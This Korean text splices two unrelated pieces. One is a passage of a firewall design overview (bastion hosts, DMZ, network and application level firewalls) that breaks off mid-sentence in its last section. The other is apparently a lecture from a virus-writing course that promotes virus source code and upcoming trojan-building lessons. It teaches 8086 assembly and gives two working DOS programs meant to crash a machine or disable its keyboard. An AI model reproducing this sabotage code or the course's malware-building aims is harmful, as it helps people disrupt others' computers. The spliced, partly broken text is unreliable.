콜별 스크린 등의 기능을 제공하게 된다.  이  스크린 라우터만을 가지고도 어느
정도 수준의 보안 접근제어를 통해 방화벽시스템 환경을 구현할 수 있다. 그러나
라우터에서 구현된 펌웨어의 수준으로는 제한점이 많고 복잡한  정책을 구현하기
어려우므로 보통 스크린 라우터와 다음에서 설명하는 베스쳔 호스트를 함께 운영
한다.

    6)베스쳔 호스트
    베스쳔 호스트(Bastion Hosts)는 방화벽시스템이 가지는  기능 중 가장 중요
한 기능을 제공하게 된다. 원래 베스쳔(Bastion)은 중세 성곽의 가장 중요한 수비
부분을 의미하는데,  방화벽시스템 관리자가 중점 관리하게될 시스템이  된다. 그
래서 방화벽시스템의 중요 기능으로 접근 제어 및 응용시스템 게이트웨이로서 가
상서버(Proxy Server)의 설치, 인증, 로그  등을 담당하게 된다. 그러므로 호스트
는 외부의 침입자가 주로  노리는 시스템이 된다. 따라서  일반 사용자의 게정을
만들지 않고 해킹의 대상이 될 어떠한 조건도 두지 않는 가장 완벽한 시스템으로
서 운영되어야 한다. 보통 판매되는 방화벽시스템은 이러한 베스쳔호스트를 제공
하는 것이라고 보면 된다.

    7)이중 네트워크 호스트(Dual-Homed Hosts)
    복수네트워크호스트는 2개 이상의 네트워크에 동시에 접속된  호스트를 말하
며 보통 게이트웨이 호스트라고 말하는 시스템이 된다. 2개의  네트워크, 즉 외부
네트워크와 내부 네트워크를 의미하고 외부 네트워크와 내부  네트워크간의 유일
한 패스를 제공하도록 조정된다. 즉 동적인 경로 배정과 경로 정보전달을 배제하
므로 모든 내.외부 트래픽은 이 호스트를  통과하도록 하여 베스쳔호스트의 기능
을 여기에 구현하면 되는 것이다.

    8)스크린 호스트 게이트웨이(Screen Host Gateway)
    스크린호스트게이트웨이 개념은 이 시스템을 내부 네트워크에 두어 스크린라
우터가 내부로 들어가는 모든 트래픽을 전부 스크린호스트에게만  전달되도록 하
겠다는 것이다. 또한 스크린라우터는 내부에서 외부로  가는 모든 트래픽에 대해
서도 스크린호스트에서 출발한  트래픽만 허용하고 나머지는  거부하게 된다. 그
래서 내부와 내부 네트워크사이의 경로는 '외부네트워크 - 스크린라우터  - 스크
린호스트 - 내부네트워크' 이외의 경로는 결코 허용하지 않게된다.  이 스크린호
스트도 결국 베스쳔호스트, 이중네 트워크호스트의 개념이 집합된 시스템이다.

    9)스크린 서브네트
    스크린 서브네트(Screen Subnet)는 일명 DMZ(DeMiliterization Zone)의 역할
을 외부 네트워크와 내부 네트워크 사이에 두겠다는 것으로 완충지역  개념의 서
브네트를 운영하는 것이다.  여기에 스크린 라우터를 이용하여 이 완충지역을 곧
장 통과 못하게 하지만 외부네트워크에서도 내부 네트워크에서도 이 스크린 서브
네트에 접근할 수는  있다. 어떤  기관에서 외부로  공개할 정보서버(Information
Server), 즉 익명 FTP서버,  고퍼(Gopher) 서버, 월드와이드웹(WWW)서버  등을
여기에 운영하면 된다.

    10)암호 장비
    암호장비(Encryption Devices)는 어떤 기관의 네트워크가 공공의 인터네트를
통해 여러 지역으로 분산되어 있을 경우 적당하다. 본사 네트워크가 방화벽 시스
템을 구축하였을 때 지역적으로 떨어진 지점 네트워크도 본사 네트워크처럼 보호
되어야하는 것이다. 이 경우 본사와 지점  네트워크 간이 인터네트로 연결되었다
면 안전을 보장하기 어려우므로 두 지점사이를 암호장비를 이용하여 가상 사설링
크(VPL, Virtual Private Link)로 만들어 운영하면 된다. 그러므로서 두개의 네트
워크는 하나의 안전한 네트워크로 만드는 것이다.  종단간 암호 방식은 데이터나
패스워드 등이 도청되는 것을 막는  방식을 원하는 사설백본(Private Backbone),
즉 여러 인터네트 접속점을 가진 기관에서 유용할 것이다.


5. 방화벽 시스템 구축하는 법
방화벽 시스템을 구축하려면 개념적으로  네트워크 레벨(Network Level) 방
화벽 시스템과 응용 레벨(Application Level) 방화벽 시스템으로 구분할 수  있다.
이러한 2가지 타입에 대해 어떤 것이 좋고 어떤 것이 나쁘다는 식의 판단을 내리
기는 어려운 점이 있지만 기관의 요구사항에 어떤 것이 부합되는지를  잘 판단하
는 것이 좋다.

    1)네트워크 레벨 방화벽
    네트워크 레벨의 시스템은 IP 패킷의  'Source/Destination' 어드레스와 포트
에 의해 결정하게 된다.  단순한 라우터는 낡은 방식의  네트워크 레벨 방화벽을
제공하는데, 이것은 어떤 패킷이 동작하는지 어떠한 네트워크에서 왔는지를 판단
해야 하는 복잡한 규칙에 대해 판단하기 어렵다. 현재의 네트워크 레벨 방화벽은
매우 복잡해져서 허용된 접속들의 상태와 어떤 종류의 데이터 내용  등을 관리할
수 있다.
    한가지 중요한 구별점은 네트워크 레벨  방화벽이 라우트를 직접 제어할  수
있으며, 할당된 IP 블럭을 정당하게 사용할 수 있도록 해준다는 점이다. 네트워크
레벨 방화벽은 매우 빠르며, 사용자에게 투명한 서비스를 보장한다.
    '스크린 호스트 방화벽' 이라고 할 수 있으며, 하나의 호스트에서의 접근제어
가 네트워크 레벨에서 동작하는 라우터에서 이루어지며, 이때의 하나의 호스트란
'Bastion Host'이다.
    또한, '스크린 서브네트 방화벽'이라는 것으로 구현될 수 있으며 이것은 네트
워크 레벨에서 동작하는 라우터가 하나의  전체 네트워크에 대한 접근제어를  할
수 있음을 말한다. 스크린호스트의 네트워크란 점만  빼면 스크린 호스트와 유사
한다.

    2)응용 레벨 방화벽
    응용 레벨 방화벽은 2개의 네트워크 간에  항상 직접적인 트래픽을 막고, 트
래픽에대해 로그, Audit 기능 등이  지원되는 프록시를 실행하는 기계를  말한다.
프록시 응용은 방화벽의 소프트웨어 부분이므로  많은 로그와 접근 제어  기능을
주는 것이 좋은 것이다. 응용레벨  방화벽은 어드레스 번역기로 사용될  수 있다.

어떤 쪽에서 들어와 다른 쪽으로 나가기 때문에 처음 시도한 접속에 대해 효과적
인 마스킹을 할 수 있는 것이다. 이렇게 중도에 응용을 가지는 것은 어떤 경우에
는 성능에 문제를 가질 수 있으며, 투명성이 보장되지 않는다. TIS 툴킷 등에 구
현된 것과 같은 초기  응용 레벨 방화벽은 일반  사용자에게 투명하지도 않으며,
어떤 연습이 필요하였다. 최근의 응용 레벨 방화벽은 투명성이 보장되며, 보다 상
세한 결산 보고와 네트워크 레벨 방화벽보다 보다 온전한 보안  모델을 제공하고
있다.
    '이중 네트워크 게이트웨이(Dual-Homed  Gateway)'가 있을  수 있다. 이는
프록시를 실행하는 고도의 보안이 제공되는  시스템. 2개의 네트워크 인터페이스
를 가지고 하나의 네트워크 인터페이스에 대해서는 모든 트래픽이 그냥 통과되는
것을 막는다.
    미래의 방화벽시스템은 네트워크 레벨과 응용 레벨 방화벽의  복합형이될 것
으로 예상된다. 이것의  의미는 네트워크레벨에서는 보다  상위의 기능을 가지려
하고 응용레벨에서는 보다 하위 기능을 가지려 하기 때문이다. 최종 결과는 아마
매우 빠른 패킷 스크린 기능과 모든 트래픽에  대한 로그와 심사 등이 예측되며,
특히 네트워크를 통해 전달되는 트래픽의 보호를 위해 암호 기법이 사용되리라고
보여진다.


6. 방화벽 시스템 구축시 고려 사항
우리는 실질적으로 방화벽  시스템에서 요구하는 대부분의 기능을 구현할수 있다.
방화벽 시스템의 가장 중요한 목적인 내부 네트워크의 보호라는 관점에서 다음의
고려 사항을 염두에 두고  방화벽의 설계 및 사양을 작성하거나, 구현 혹은 설치를
어떻게 할지를 판단하여야 한다.
    첫째, 가장 중요한 사항은 해당 업체의 조직이 어떻게 시스템을 운영할 것인
지에 대한 정책을 반영하는 것이다. 매우  중요한 네트워크에서의 작업을 제외하
고는 모든 접속을 거부하는 식의 시스템을 운영할 것인가 아니면 덜 위협적인 방
법으로 접속해 오는 모든 트래픽에  대해 조사하고 점검하는 방식으로  시스템을
운영할 것인가를 선택할 수 있다. 이러한 선택은 결정권에 대한 운영자의 태도에
달려있으며, 특히 엔지니어링 측면의 결정 보다 정책적인 결정에 따르게 된다.
    둘째, 어느 정도 수준의 모니터링과 백업 및 제어를 원하는가에 대한 문제다.
첫번째 사항으로 기관이 받아들일 수 있는 보안에 대한 위험 수준이 세워졌다면,
이제 어떤 것을 모니터하고, 허용하고, 거부할 것인가라는 체크리스트를 작성해야
한다. 즉, 기관의 전체적인 목적을 결정하고 위험평가에 근거한 필요성 분석을 하
며, 구현하고자 계획하여 사양을 마련했던 목록과 구별될 수 있는 문제점들을 가
려낸다.
    셋째, 경제적인 문제이다. 우리가 여기에서 정확하게 지적하기는 어렵지만 이
것을 구매하는데 드는 비용과 구현에 드는 비용을 정확하게 정량적으로 산출하고
자 하는 것이 중요하다. 예를 들어 완전한  방화벽제품의 구매에 드는 비용은 무
료에서 10만달러에 이를 수 있으며, 무료일 경우에는  시스코(Cisco) 라우터의 비
용과 구성 및 스태프의 인건비 등은 포함되지 않은 것이다. 제품 구매에 드는 비
용에는 월 3만달러의 인건비 등이 포함된다.  그리고 시스템 관리에 드는 오버헤
드 등이 포함된다. 방화벽 시스템의  우선 설치 및 구현에  드는 비용 뿐 아니라
지속적으로 드는 비용과 지원비 등이 계산되어야 한다.
    넷째, 기술적인 측면에서 몇가지 결정해야 할 것이 있는데, 기관 내부의 네트
워크와 네트워크 서비스 제공자 사이에서의  고정적 트래픽 라우팅 서비스  등에
대해서도 결정해야한다는 것이다. 트래픽 라우팅은 라우터에서의 IP 수준의 스크
린 규칙이나 혹은 프록시 게이트웨이나 서비스에서의 응용 수준 등에서 구현되어
야 한다.
    다섯째, telnet, ftp, news 등의 프록시를 설치한 외부 노출 기계를 외부 네트
워크에 둘 것인가 혹은 하나 이상의 내부 기계와 통신을  허용하는 필터링으로서
의 스크린 라우터를 만들 것인가를 결정해야 한다. 각각의 접근 방식은 장단점이
있는데, 프록시 기계가 고급 수준의 기록성과 잠재적인 보안 기능을 많이 구현해
야 하는 만큼 또한 비용이 많이 요구되기 때문이다. 프록시는 요구되는 서비스마
다 따로 설계되어야 하며, 편리성과 보안에 드는 비용은 상대적이다.
    현재 어떤 기업체가 인터네트에 연동할 때 가장 효과적인 보안  대책은 방화
벽(Firewall)을 설치하는 것이라고 알려져 있다.  하지만 방화벽의 상용제품은 하
드웨어 플랫폼, 컨설팅, 네트워크 재 설계 등으로 비용이 꽤 들어가는 것이다. 또
한 이러한 비용에 비추어서 고객이 바라는 완벽한 솔루션을 제공하는지도 의문이
있을 수 있다.
    방화벽이 100% 완전한 보안을 제공하는 것은 아니다. 방화벽은 단지 인터네
트 등의 전산망에서의 보안 격리만을 제공할 뿐이다. 따라서 방화벽 시스템을 가
동하고 있지만 어설픈 운영과 느슨한 정책 채택을 하고 있는 경우라면 더 심각한
문제를 일으키기도 한다.방화벽은 단순히 전산망의  기술적인 보안문제에 관심있
을 뿐이며, 그 밖에 호스트에서의 보안  문제, 보안 모니터링, 중앙집중적인 보안
관리, 정책, 교육 등이 총 망라되어야  할 것이다. 방화벽을 설치하고 집중적으로
보안을 담당할 인력을 보강하고 구체적인 대책과 관리에 신경을 쓴다면 비용효과
적인 대책을 수립할 수 있다.


7. 제기되는 문제들
파이어월의 기능은 갈수록 발전하고 있다. 이들 기능은  Telnet,FTP,MAIL,NFS
,X윈도 드으이 서비스에 접근할 수 있는 길을 통제할 수 있다. 이러한 통제는
사용자에게는 매우 불편함이 있다. 따라서 네트워크 보안 정책이 잘 구성돼야
보안에도 지장이 없고 사용자의 요구사항을 만족시킬 수 있다. 파이어월이 설
치된 시스템에 접근하기 위해서는 파이어월을 통과해야만 된다.  불법적인 침
입은 통제가 가능하다. 그러나 만일  파이어월 내부로 직접 연결하고자 할 경
우 파이어월이 어떻게 통제하느냐 하는 문제가 지금고 큰 이슈다.
예를 들어 파이어월로부터 보호되는 내부의 호스트가 외부로부터  모뎀접속을
지원받고자 할 경우  SLIP(Serial Line IP), PPP(Point to Point Protocol)로
접속을 시도할 것이며 이것은 근복적으로 파이어월 내부의 네트워크가 파이어
월이 어떤 형태로 지원해야 하는가가 문제다. 현재 일회용 패스워드 등  진보
된 승인기능(Authentication)과 암호화 기법을  이용해 문제를 해결하고 있으
며 일부 파이어월이 이러한 방식을 지원하고 있다.
파이어월은 내부의 침입자가 서버의 데이터를 테이프로 백업받아 외부로 유출
하는 경우에 대한 보안을 지원할수 없다. 외부 네트워크로부터 보안이 필요한
자료의 유출을 막기 위해 설계된 것이기 때문이다.
파이어월은 바이러스에 약하다. 파이어월에서 현재까지 바이러스에 감염된 파
일을 다운로드할 경우 또는 전자우편을 통해 감염될 경우 미리  점검할 수 있
는 방법이 없는 것이다.
모든 네트워크의 연결은 파이워월을 통과해야 하므로 파이월이 성능상 병목현
상을 초래할 수도 있다.
그만큼 큰 네트워에서는 적당하게 그룹핑해 파이월에 접속하는 것이 바람직하
다. 이밖에 클라이언트에서 데이터를 처리할 경우 즉데이터패킷에 클라이언트
가 실행할 수 있는 명령이 있는 경우 실행  명령중에 보안관련 파일을 변경할
수 있는 명령이 있을 수도 있다. 이 경우 현재는 진보된 사용자인증  프록시(
Proxy)기능으로 문제를 해결하고 있다.

8. 구축사례
파이어월의 구축 사례는 많다.  개념적 파이어월의 구축 형태는 패킷  필터링
파이어월 <>삼중 홈게이트웨이 파이어월 <>차폐된 호스트 파이어월등 3가지로
구분 할 수 있다.
패킷 필터링 파이어월은 라우터 단독으로 파이어월 기능을 하며 패킷  필터하
는 기능을 라우터에 구축하는 것을 말한다. 삼중 홈 게이트웨이 파이어월은
게이트웨이를 하는 호스트에 2개의 네트워크 인터페이스가 있으며 이들은 서
로 분리된 형태로 이션 게이트웨이 기능)하는 여부와 함께 외부에 공개
해야 할 서버와 내부에서만 사용하고 공개하지 않은 서버를 구분,서로 분리할
수 있는 것이어야 한다. 셋째 규칙을 정의하는 언어가 사용자에게 쉬어야 하며
 GUI화면으로 지원된 것이어야 한다. 넷째 파이어월의 일반 규정이 적용하지
않은 규칙은 거절해야 한다. 다섯째 파이어월이 네트워크에 있는 트래픽을
로깅해야 한다고 향후 네트워크 보안 정책 수립에 필요한 통계자료를 추출할
수 있어야 한다. 여섯째 파이어월이 보안된 오퍼레이팅 시스템으로 운영되고
있는가 여부와 TCP/IP상의 서비스들을 어느정도 지원하고 있는가 여부를 따져
야 한다. TCP,UDP,RCP를 기반으로 하는 응용시스템까지 지원할 수 있는가를 파악
해야 한다. 마지막으로 파이어월이 암호화된 기능을 지원하는가를 파악해야 한다.


==============================



----------------------------------------------------------------------
본 강좌의 어떤 내용도 저자와의 협의없이 무단으로 전제/복제 하는것을
금합니다.
----------------------------------------------------------------------

세번째 강좌입니다.

어셈블리라는게 워낙 방대하다 보니 일일이 서술하기는 힘듭니다.
기본적인 원리 등에 대해 서술하겠습니다.

그리고 1차 제공 바이러스 소스로,

키트 바이러스 , 시스터보 바이러스 두 종류, 문자추락 바이러스,
에이즈 바이러스, 폭포 바이러스, 핑퐁 바이러스 입니다.

바이러스 소스에 주석이 상세히 달려있습니다!!

4,5회 강좌부터는 배치 프로그래밍을 배우며 트로이 목마를
실제 제작해 보겠습니다!!

백미죠!!

그럼 기대 하세요!




 1) 어셈블리로 구현해본 바이러스

.프로그래밍 언어를 살펴보면
고급 언어는 프로그램을 작성하기 쉽다, 실행 시간이 길다.  예) BASIC, C, PASCAL
어셈블리어는 프로그램 작성하기 어렵다, 직접적인 하드웨어의 접근이 쉽다, 속도가 빠르다
는 장점이 있다.
기계어는 프로그램 작성하기가 거의 어렵다, 일부 어셈블리 프로그램시 이용하기도 한다는
특징이 있다.

 (1) 마이크로 프로세서 8086/8088 하드웨어의 레지스터 구조
레지스터란 CPU가 컴퓨터를 작동시키는데 필요한 정보를 임시로 저장하는 곳이다.
CPU 내부에는 32 bit 크기의 여러가지  레지스터가 있다.  어셈블리언어에서는 이 레지스터를 이
름까지 지정하여 선택 사용할 수 있다. 이 여러개의 레지스터는  사용 용도에 따라 범용 레지스터
/ 특수 레지스터/ 플래그 레지스터 등으로 나뉜다.
레지스터의 용도는 16진수의  데이타를 일시적으로 저장한 후 필요한 때  불러내어 쓸 수 있으며
각종 논리/산술 연산결과를  저장하거나 연산의 결과를 판단할 때 사용한다.  또한 프로그램 수행
을 위하여 기계어 명령을 읽어 들일 주소를 지정하기도 한다.


 A. 데이타 레지스터
데이터 레지스터는 각종 데이터 처리를 대상으로  한다. 8086/8088 계열의 범용 레지스터는 4가지
가 있다. 총 16비트로 이루어져있는데,  16비트 레지스터 및 8비트 레지스터 일부를 프로그래머가
명령 중에서 자유롭게 지정을  할 수 있는 범용 레지스터이다. 범용 레지스터로서의  역활 이외에
도 아래에서 설명하는 특정한 역활도 가지고있다.
이 레지스터들은  사용자가 데이타를 조작하는데  자주 필요한 것들이다. 레지스터들의  기본적인
의미는 프로그래머가 임의로 무시할수 있다.

- AX : 어큘레이터 레지스터라고도 하며 연산 레지스터로서 하며 연산의 결과나 중간 값등을 저
        장하는데 쓰인다. AH는 AX의 상위 8비트를 AL은 AX의 하위 8비트를 가리킨다.
        연산기능이 다른 것보다 조금 많은 레지스터이다.
- BX : 베이스 레지스터라고도 하며 베이스 어드레스 지정에 쓰인다. 간접 어드레스 지정시에 어
        드레스 레지스터, 트랜슬레이터 명령에 있어서 변환 테이블, 베이스 레지스터로서 사용한
        다.
- CX : 카운터 레지스터라고도 하며 반복 실행문의 반복 횟수를 지정할때 쓰인다.
- DX : 데이터  레지스터라고도 하며 어큘레이터의 보조로 활용되거나 간접 어드레스에 의한  입
        출력 명령시 어드레스 지정에 사용된다. 곱셈, 나눗셈 작업을 할 때 사용된다.


 B. 포인터 레지스터와 인덱스 레지스터

- BP : 베이스 포인터 레지스터이다.
       기본적으로 스택 영역내 어드레스를 지시하지만 스택 세그먼트 SS  영역내에 배치한 데이
       타에 대한 베이스 어드레스의 위치 지정에 사용된다.
- SI : 소스 인덱스 레지스터이다, 오퍼랜드 소스, 소스 데이터를 어드레스 지정에 사용한다.
- DI  : 데스티네이션 인덱스 레지스터이다.  오퍼랜드의 처리 대상 또는  데스티네이션 데이타를
        나타내는 데 사용된다.
- SP : 스택포인터 레지스터라고 불린다. 메모리에서 스택의 위치를 펴시한다. 스택 맨 위의 주소
       를 담고 있다.

 C. 세그먼트 레지스터
세그먼트 레지스터는 B버스 인터페이스 유닛에 달려 있는 레지스터이다. 메모리를 효과적으로 사
용가능하게 해준다.

- CS : 코드 세그먼트 레지스터이다. 실행형 프로그램 코드가 들어있는 메모리 주소를 지정한다.
- DS : 데이타 세그먼트  레지스터이다. 프로그램 수행후 데이타가 들어있는 메모리 주소를 지정
        한다.
- SS : 스택 세그먼트 레지스터이다. 스택의 시작 주소를 담고 있다.
- ES :  확장 세그먼트 레지스터이다. 데이타  세그먼트의 확장으로 쓸수 있다.  확장 세그먼트의
        시작 주소를 담고 있다.


 D. 플래그 레지스터
플래그 레스터 상태 표.


                    상  위            │            하  위
                                      │
        15  14  13  12  11  10  9  8│7  6  5  4  3  2  1  0
      ┌─┬─┬─┬─┬─┬─┬─┬─┼─┬─┬─┬─┬─┬─┬─┬─┐
      │×│×│×│×│O│D│I│T│S│Z│×│A│×│P│×│C│
      └─┴─┴─┴─┴─┴─┴─┴─┼─┴─┴─┴─┴─┴─┴─┴─┘
                        오  디  ↑  트│사  제      보      패      캐
                        버  렉  ↑  랩  인  로      조      리      리
                        플  션  ↑                          티
                        로      ↑                  케
                        우      인터럽트 인에이블   리

                                      ( 세트 = 1  , 리셋 = 0 )


- TF : 추적  플래그이다. 명령어가 1개씩 실행되기에 프로그램의 에러 추적등에 사용할수  있다.
        프로세서를 프로 그램 디버거용의 싱글 스테프 모드 아래 놓는다.
- IF : 인터럽트 인에이블  플래그이다. 외부 인터럽트를 Inable 또는 Disable한다. 외부 인터럽트
       의 허락을 결정한다.
- DF : 디렉션 플래그이다. 스트링처리에서 방향을 결정하기에  자동 증가나 감소가 이루어 진다.
        스트링 명령에서의 실행방향 자동 인크리먼트 또는 디크리먼트 조작을 제어 한다.
- CF :  캐리 플래그이다. 2바이트 이상의 가감산에  이용하고 최상위비트에서 자리올림 또는 그
        자리에서의 자리올림을 표시한다.
- PF : 패리티 플래그이다. 데이터 전송이나 연산시에 짝수 패리트를 검사해 준다.
- AF : 보조 캐리 플래그이다. 4비트에서 5비트로 자리올림을 표시해 준다.
- ZF : 제로 플래그이다. 연산에서 자주 쓰인다. 연산 결과가 0이면 1이라고 표시해 준다.
- SF : 부호 플래그이다. 부호를 표시해  준다. 오퍼레이션의 결과,최상위 비트가 1일때 세트된다.
        0=정,1=부의 부호를 표시한다.
- OF : 오버플로우 플래그이다. 산술연산 결과의 오버플로우 상태를 표시한다.
- IP : 명령 포인터 레지스터이다. 현재 실행중인 명령의 위치를 가리킨다.


*간단한 사용예.

     mov  ax, bx    ☞  bx 를 ax 에 넣어라
                         (bx 값이 없어지고 ax로 가는 것이 아니라 ax 에 bx값이 복사된다고
                         생각하면 된다)

     inc  cx        ☞  cx 값을 하나 증가시켜라.
                        ( C 에서는 cx++ 와 같은 의미이며 cx 가 FFFF 일 경우 하나 증가
                         시키면 0000 값이  된다)


     add  dx, si    ☞  C 에선 dx += si 와 같은 의미이며 dx 와 si를 더한 결과를 다시 dx에
                       집어넣는 명령

     shl  bx, cl    ☞  C 에선 bx<<cl 과 같은 의미이며 bx 를 cl 값 만큼 왼
                        쪽으로 shift 시키는 것을 말한다.
                        cl 값이 16 이상이면 bx 값은 다 밀려 나가고 0이 된다
                        이때 cl 위치의 레지스터는 다른것을 사용할 수 없음.


(2) 어셈블러 범용 명령어
기본적이고 자주쓰는 어셈블러  명령어들을 모아보았다. 이 정도만 알고 있어도  어셈블리 언어로
제작된 바이러스 소스는  알아볼수 있을것이다. 좀 더 자세한것은  어셈블러 자료를 보기 바란다.
이 책에서 어셈블러를 다 설명할 수는 없기 때문이다.

MOV : 어셈블러에서 가장 많이 사용하는 명령어이다. 필요한 정보를 이동 시키는 명령어이다.

PUSH : 저장할 레지스터 (SAVE)

POP: 환원시킬 레지스터 (LOAD)


ADD : 덧셈을 가능하게  해준다. 2개의 오퍼랜드 덧셈을 실행하고, 그 결과를 제  1 오퍼랜드에
         집어넣는다.
SUB : 뺄셈을 가능하게  해준다. 데스티네이션 오퍼랜드에서 소스 오퍼랜드를 빼고,  그 결과를
         제 1 오퍼랜드에 넣는다.

MUL : 곱셈을 가능하게 해준다. 첫번째 오퍼랜드는 항상 AX(16비트 연산)와 AL(8비트 연산)을
         사용한다. 곱셈 작업 연산 결과가 32비트인 경우에는 DX:AX에, 16비트인 경우에는 AX
         에 항상 저장된다.


DIV : 나눗셈을 가능하게 해준다.


CMP : 비교연산 명령어이다.  CMP는 비교 연산작업에 필수적인 명령어로서 중요한  명령어이다.
       고급 언어의 IF∼THEN 과 같은 형식이다.

INC, DEC : 증감 명령어이다. 이 명령은 순환문, 반복문 등에서 반복 횟수등을 제어한다.

JMP : 고급 프로그래밍 언어에서의 GOTO 명령과 같은 점프작업을 한다. 원거리,  근거리 점프와
       조건적, 무조건적 점프로 구분할 수 있다.


* 바이러스에 많이 나오는 명령들
PUSH AX(BX,CX,DX...) : 거의 모든 프로그램에서 나오는 명령인 레지스터 저장이다.
Int  21 : 인터럽트 21인 기능은 호출이다.
         보통의 램 상주 바이러스 자신임을 나타낼 독특한 값을 사용한다.
         예로 방랑자 변종들은  MOV AX,F060 부터 시작하는데 나중으로  갈수록 61,62 등으로
         바뀌고 램에 존재하면 AX 에 0000 이 들어온다.
MOV  BX,ES   : MCB 위치를 구하는것이다.
DEC  BX  ; 램에 상주하는 바이러스들에서 사용한다.
REPZ MOVSB  : DS:[SI] 값을 ES:[DI] 로 복사하는 것이다.
                 보통 바이러스 자신을  복사하거나 할때 사용된다..
CLI,STI  : 이명령이 없이 직접 인터럽트를 바꾸면 정지할수가  있다.
          파일 바이러스에서 많이 가로채는 AH 번호들  3D,43,4B,56,41,3C,3E 등이다.
AND     AL,DF  : 이것은 대문자로  바꾸는 것입니다. 즉, ASC 값에서 소문자일경우  대문자가
                    되는것입니다.
MOV  AX,3524  : Int 24h 는 에러처리 부분이다.
                  즉, 쓰기 방지  INT  21 등의 디스크에서는 감지시 에러가 발생하는데 이것을
                  바이러스가 가로채서 화면에 아무런 말도 나오지 않게 한다.
CALL FAR [0008]   ; 인터럽트를 호출한다.
RET 4E,4F        : 주로 비상주형 바이러스들이 많이 사용한다. 파일을 찾을때 사용된다.



*간단한 소스 와 의미 분석

        어셈블 소스                  기계어(Opcode)
   ─────────────┼─────────
      mov     ax, 1234H      │     B8 34 12
      ┬─    ┬  ┬─
      │      │  └─  operand#2  (source:값의 출처)
      │      └───  operand#1  (destination:값이 들어갈 방)
      └───────  mnemonic   (명령어에 해당되는 짧은 기호)

  <소스로 본 의미>
    mov   : operand#2를 operand#1에 넣으라는 의미
    ax    : ax라는 이름의 16bit 레지스터를 가리킴
    1234H : 실제 value

    위의 명령을 수행하면 16 bit값 1234H가 ax 로 대입된다.

  <기계어(Opcode)로 본 의미>
    B8    : 바로뒤의 두바이트를 ax에 넣으라는 의미
    34 12 : 1234H 의 하위 바이트 값이 먼저 온다는 것에 주의 !!!


명령어의 구조 .명령어의 세분 : Mnemonic, operand#1, operand#2, operand#3

  mov      ax,   1234H          ; ';' 이후로 한줄의 끝 까지는 comment
  ┬─     ▲    ─┬─
  │       │      │ 데이타의 이동은 항상 맨 앞이 들어갈 방이고 뒤는
  │       └───┘ 나오는 방이다.
  │
  └─ 니모닉(Mnemonic) : 사람이 알아보기 편하고 쓰기 편한 약어이다.
                          옮기다는 뜻을 가진 move에서 'e' 를 뗀 형태이다.

   Mnemonic 다음에는 보통 하나 또는 두개의 operand가 따라오는데 명령의 종류
   에 따라 오퍼랜드 갯수는 0 - 3 개 까지 다양하다.
   operand에는 여러가지 형태가 존재한다. Immediate value(즉치값), register
   (레지스터), memory(메모리에 있는 값) 들이 있으며 크기도 1 비트에서 10
   바이트 까지 여러 크기가 있다. operand#1의 종류와 operand#2의 종류는 여러
   가지 조합을 가질 수 있으나 몇가지 사용할 수 없는 조합이 있다.

   첫째 : operand#1은 Immediate value가 될 수 없다.
   둘째 : cbw, cwd 등의 경우같은 특수 명령을 제외하고는 양쪽의 크기는 같아
          야 한다.


*  DOS FUNCTION CALL

   입출력 등의 루틴을 하나 하나 작성하려면 굉장히 많은 노력이 든다.
이와 같이 많이 쓰이는 기본적인 루틴들을 시스템에 만들어  놓고, 시스템 이용자가 자유롭게 사
용할 수 있게 해놓았다.
이것을 사용하기 위한 방법이 시스템 호출 (SYSTEM CALL)이다.
   MS-DOS에서는 주로  인터럽트 21H (INT  21H)를 사용하고 그중에서 서브  COMMAND를
설정한다.

       사용 방법

       +--                --+
       | MOV  AH, 펑션코드 |
       | INT  21H          |
       +-                 --+

     예)  화면으로 문자열 출력

       MOV  AH, 9
       MOV  DX, OFFSET MSG
       INT  21H
       MSG  DB 'TEST MESSAGE'

     시스템 호출의 펑션코드와 기능
  +-----------------+--------------------------------+
  |  Function Code  |          Function              |
  +-----------------+--------------------------------+
  |       1h        |  키보드로부터 한 문자 입력     |
  |       2h        |  화면에 한 문자 출력           |
  |       5h        |  프린터로 한 문자 출력         |
  |       8h        |  에코(화면에) 없는 한 문자 출력|
  |       9h        |  화면으로부터 문자열 출력      |
  |       Fh        |  화일 open                     |
  |      10h        |  화일 close                     |
  |      25h        |  인터럽트 벡터 세트            |
  |      31h        |  프로세스 상주 프로그램        |
  |      35h        |  인터럽트 벡터 취득            |
  |      4Ch        |  프로그램 종료                 |
  +-----------------+--------------------------------+




 *임의의 점프 프로그램
─────────────────────────────────────
이 프로그램은 랜덤으로 점프하여 컴퓨터가 오동작을 하게 만든다.
대개의 경우 컴퓨터를 더 이상 제어할수 없게 되므로 실행에 주의를 요한다.

   1: code      segment para 'code'
   2:           assume  cs:code
   3:
   4:           org 100h
   5:
   6: main      proc far
   7: start:    mov ah,2ch              ; 시간 알아내기
   8:           int 21h
   9:
  10:           push cx                 ; CS에 pop된다
  11:           push dx                 ; IP에 pop된다
  12:
  13:           ret                     ; 임의의 리턴
  14:
  15: main      endp
  16: code      ends
  17:           end start

위 프로그램은 DOS의 호출기능을 이용하여 현재 시간을 알아내어 시간, 분, 초,
1/100초에 해당하는 값을 이용하여 실행시 마다 시시각각 변하는 값을 랜덤화에
이용한다. 그러므로 제어는 엉뚱한 곳으로 흐르게 되어 시스템은 비정상적으로
작동하게 된다.

[ 실험 결과 ]  대부분 화면에 이상한 문자를 쓰고 시스템이 죽어버렸으며
               시스템의 시계가 초기화가 된 경우가 있었다.

♠키보드 인터럽트 벡터 바꾸기 프로그램
──────────────────────────────────────
이 프로그램은 키보드 인터럽트의 벡트를 바꾸기 때문에 한번 실행되면 더
이상 키보드를 사용할수 없게 된다. 따라서 다시 컴퓨터를 작동 시키려면 재
부팅시키는 수밖에 없으므로 실행 시키기 전에 저장해야할 데이타가
있는지 꼭 살펴볼것.

   1: code      segment para 'code'
   2:           assume  cs:code
   3:
   4:           org 100h
   5:
   6:           mov ah,35h              ; 인터럽트 벡터 알아내기
   7:           mov al,6                ; 미사용 인터럽트(INT 6)
   8:           int 21h
   9:
  10:           mov ah,25h              ; 인터럽트 벡터 설정
  11:           mov al,9                ; 키보드 인터럽트(INT 9)
  12:           mov dx,bx               ; 인터럽트 처리 루틴의 오프셋
  13:           push es
  14:           pop ds                  ; 인터럽트 처리 루틴의 세그먼트
  15:           int 21h
  16:
  17:           int 20h                 ; 프로그램 종료
  18:
  19: code      ends
  20:           end crash

< 설명 >
키보드 인터럽트(Keyboard interrupt)는 하드웨어 인터럽트(Hardware interrupt)
로서 사용자가 키보드를 누르는 순간 발생한다.
인터럽트 번호는 9로서 메모리의 0000:0024h 번지에서 부터 4바이트에 걸쳐
인터럽트 실행 루틴의 시작번지가 있다.
